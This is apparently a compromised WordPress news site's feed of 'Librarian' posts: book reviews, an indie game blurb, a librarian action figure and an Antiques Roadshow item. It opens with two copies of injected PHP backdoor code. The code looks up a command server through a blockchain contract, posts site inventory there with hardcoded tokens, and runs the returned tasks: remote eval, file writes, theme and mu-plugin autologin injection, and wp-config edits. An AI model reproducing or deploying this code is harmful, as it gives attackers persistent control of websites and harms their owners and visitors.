// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Librarian – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Fri, 04 May 2018 19:24:38 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Librarian – Brief News https://briefnews.eu 32 32 Fiction Picks: Review of Whistle In The Dark, Property and The Librarian https://briefnews.eu/fiction-picks-review-of-whistle-in-the-dark-property-and-the-librarian/ https://briefnews.eu/fiction-picks-review-of-whistle-in-the-dark-property-and-the-librarian/#respond Fri, 04 May 2018 19:24:38 +0000 http://briefnews.eu/fiction-picks-review-of-whistle-in-the-dark-property-and-the-librarian/

Book reviewNC

The Librarian, Property a collection and Whistle in the Dark

Whistle In The Dark by Emma Healey (Viking, £12.99)

Her reappearance is a relief but Lana, who has a head injury and ligature marks on her ankles, resolutely refuses to say where she has been or what happened to her.

The troubled 15-year-old had already been self-harming and made a suicide attempt but in the wake of her disappearance Lana’s aggression towards her parents, in particular her mother, becomes even more difficult to manage than before.

The long-suffering Hugh Maddox also gets no answers from his daughter.

He tries with mild irony to be supportive of his wife while giving his unhappy daughter space to regroup.

Sudden exhaustion from the burden of the love she felt for Lana

Emma Healey

But Jen, laid off from her designing job because of her erratic attendance, faces Lana’s hostility all day long.

Any attempt to bridge the gap is repulsed.

In this disturbing book Emma Healey skilfully evokes Jen’s plight: a woman desperate to help her daughter but constantly pushed away as her incessant care begins to border on stalking.

At one point, rebuffed again, Jen experiences a “sudden exhaustion from the burden of the love she felt for Lana.”

Her daughter’s alienation begins to affect Jen’s own mental balance and the novel builds to a dramatic conclusion back in the Peak district.

Healey is a grimly humorous writer with a light touch to leaven what is often a bleak tale.

Her daughter’s alienation begins to affect Jen’s own mental balance and the novel builds to a dramatic conclusion back in the Peak district.

Healey is a grimly humorous writer with a light touch to leaven what is often a bleak tale.

During a visit to a Christian bookshop, Jen notices disposable Communion cups and gluten-free wafers.

“So some Christians were bothered by germs. And gluten allergies.

It was reassuring and disappointing at the same time.”

In the hospital where Lana recovers after her disappearance, Jen watches a woman knitting.

“The colour of the cardigan she wore (teal) and the colour of the wool she was knitting with (dark turquoise) were so close it seemed as though she were adding to her own clothes as she went.”

Healey thoughtfully explores complex problems facing young women and families today and in Lana she has created a masterpiece of angry inarticulacy.

Property: A Collection by Lionel Shriver (The Borough Press, £14.99)

THIS rich collection of 10 short stories and two novellas are in essence about ownership, not just of property and objects but also of experiences and of people.

In the opening novella The Standing Chandelier a 25-year friendship between a man and a woman undergoes a seismic change when one of the friends marries.

Does the new wife own her husband or can she share him with his old friend?

And is the standing chandelier of the title,finely wrought by the old friend from items of personal relevance to herself, an appropriate wedding gift?

Intergenerational problems are another theme, viewed through the prism of property.

Often the generations are on a collision course with adult children assuming that their parents will continue to house them and pay for meals.

But in The ChapStick a son looking after his domineering father’s concerns finds himself just as cowed as he was as a small boy.

In other stories property owners are confronted by enemies within.

In Repossession a first-time buyer is thrilled to have bought a bargain but is haunted by the previous unhappy owner.

Vermin sees a couple buy the dilapidated New York home they had been happily renting only to discover that home ownership undermines their relationship.

Many characters harbour anger until the resentment becomes another form of property ownership.

In the final novella, The Subletter, Sara Moseley is an expatriate American living in Belfast who takes a proprietary interest in the peace process.

She feels she has been short-changed when the Omagh bombing happens while she is on holiday in America.

The venal postman in The Royal Male is one of the few characters in these stories for whom things turn out well.

He steals post for himself and acquires a lady friend by answering another man’s letter.

Lionel Shriver is the master of the neat twist.

She lives between London and Brooklyn which is perhaps why she depicts characters dispossessed by living away from where they were born, viewing them with her detached and jaundiced eye.

This sense of dislocation gives depth to an unsettling but grimly entertaining collection.

The Librarian by Salley Vickers Viking, £16.99

IT MAY be rather generous to compare Salley Vickers to one of the greatest writers in the history of English literature but there are elements of Jane Austen in her fiction.

Like Austen she is able to take a cast of ordinary characters in a small country community and weave a kind of magic out of their stories.

She certainly succeeds with her latest novel The Librarian, set in a small market town in Wiltshire in the late 1950s.

Sylvia Blackwell, an only child, has found companionship in books.

So as an adult she becomes a librarian and moves to East Mole to look after the neglected children’s library.

Initially she is welcomed by the people of the town, including her landlady Mrs Bird, and she helps Mrs Bird’s granddaughter Lizzie to pass the 11-plus.

Before long she is inspiring children to visit the library, chief among them being the doctor’s precocious daughter Marigold and Sylvia’s neighbours’ gifted son Sam.

But chief librarian Mr Booth feels threatened by Sylvia and tries to thwart her at every turn.

And as a single woman she is regarded with suspicion by WI members.

When she is seen getting into the car of the unhappily married doctor, gossip puts her job and the library at risk.

The disappearance of Henry Miller’s Tropic Of Cancer from the locked, adult-only section causes further ripples, especially when it is found in Lizzie’s hands.

Sam is implicated in the book’s theft and his sparkling future is threatened. With a few deft brushstrokes, Salley Vickers conjures up 1950s country town life.

It is a world of subtle class distinctions with a sense of continued post-war privations.

Money is tight even for people with jobs. And tensions simmer beneath the apparently smooth surface of the town: unhappy marriages, possible sexual abuse and adultery.

But children have greater freedom to roam and the library is a much more important place in the days before every house had a television.

Above all the theme is the power of books and their ability to change lives.

In a postscript Vickers pays tribute to a librarian, also a Miss Blackwell, who inspired her to read as a child.

This tender, sad tale offers a final positive message.

Let’s block ads! (Why?)

]]>
https://briefnews.eu/fiction-picks-review-of-whistle-in-the-dark-property-and-the-librarian/feed/ 0
The Librarian Revolves Around An Eerie Library & Its Keeper https://briefnews.eu/the-librarian-revolves-around-an-eerie-library-its-keeper/ https://briefnews.eu/the-librarian-revolves-around-an-eerie-library-its-keeper/#respond Fri, 06 Apr 2018 12:12:24 +0000 http://briefnews.eu/the-librarian-revolves-around-an-eerie-library-its-keeper/ theLibrarian_header.png

In libraries are so quiet you could hear a pin drop, but in The Librarian, you might hear a little more than that. As the librarian, it is your job to make sure the library is safe, so you’ll have to muster all your courage and wit to face the puzzles put forth by the paranormal presences that creep among the books.

Take control of Liz, a librarian, who must brave the darkest corners of the library she watches over as it becomes home to creatures unknown. You’ll have to keep your thinking cap on as you explore and collect items, figuring out how they will come together to forge a way forward.

Featuring the talented Octavi Navarro, a highly-praised pixel artist, players will come for the expertly crafted art style and stay for Liz’s story of deadly spectres.

You can find The Librarian on Itch.io here. You can also follow the developer on Twitter, YouTube, and Facebook. You can also support future works on Patreon!

]]>
https://briefnews.eu/the-librarian-revolves-around-an-eerie-library-its-keeper/feed/ 0
Buy This: A Librarian Action Figure Based on a Real Seattle Librarian https://briefnews.eu/buy-this-a-librarian-action-figure-based-on-a-real-seattle-librarian/ https://briefnews.eu/buy-this-a-librarian-action-figure-based-on-a-real-seattle-librarian/#respond Fri, 12 Jan 2018 15:44:38 +0000 http://briefnews.eu/buy-this-a-librarian-action-figure-based-on-a-real-seattle-librarian/ Seattle-based novelty company Archie McPhee, best known for their toys like the Punching Nun, designed one of their most popular action figures after real-life librarian Nancy Pearl. We discovered the genius novelty on website Open Culture. As Pearl’s own bio says, “If the library world has a rock star – Nancy Pearl is it.” What else would you call an award-winning librarian, best-selling author, literary critic, TV personality, and bookish hometown hero? From Archie McPhee’s website:

In a world where information swirls around us like a tornado, librarians are there to keep it all organized for us and let us know about the best of it. The Librarian Action Figure is an homage to those warriors of the printed (and electronic) word. Based on Seattle librarian Nancy Pearl, this hard vinyl 3-3/4″ figure has a removable cape that symbolizes how much of a hero a librarian really is. It’s a bird, it’s a plane, it’s a librarian!

We have faith that the Librarian Action Figure can conquer any problem big or small. Today, an action figure. Tomorrow, her own Marvel series? Fingers crossed.

Let’s block ads! (Why?)


http://flavorwire.files.wordpress.com/2018/01/banner173.jpg

]]>
https://briefnews.eu/buy-this-a-librarian-action-figure-based-on-a-real-seattle-librarian/feed/ 0
Antiques Roadshow: Librarian SPEECHLESS after book gets whopping SEVEN-FIGURE valuation https://briefnews.eu/antiques-roadshow-librarian-speechless-after-book-gets-whopping-seven-figure-valuation/ https://briefnews.eu/antiques-roadshow-librarian-speechless-after-book-gets-whopping-seven-figure-valuation/#respond Sun, 23 Apr 2017 20:47:56 +0000 http://briefnews.eu/antiques-roadshow-librarian-speechless-after-book-gets-whopping-seven-figure-valuation/

Dealer Clive Farahar was visibly shaken after he was presented with a genuine Sir John Chandos manuscript, currently being homed at the Senate House library. 

Farahar beamed as he called the text “the most important manuscript to ever make it onto the Antiques Roadshow”. 

The guest explained the scripture was written by Chandos’ PA, who recorded various battles and gave an eyewitness account used to produce the beautifully illuminated bound book. 

“It’s the most remarkable thing,” enthused Farahar. “And as far as I know it’s not well known at all.”

“Is this the most valuable item you’ve got?” he probed.

The librarian admitted the treasure was insured for a whopping £2million, which Farahar insisted was “ridiculous”. 

“It’s priceless in many ways,” he grinned. “To me this is a priceless item, but for insurance purposes it’s insured for £2 million.” 

“I think that’s ridiculous,” snapped Farahar. “Because I think if it came on the open market, and heaven forbid that it ever would, I think it would be worth twice that at £4 million.”

Naturally, viewers were taken aback by the enormous sum, with one posting: “Omg 4 million pounds for some ancient manuscript book!”

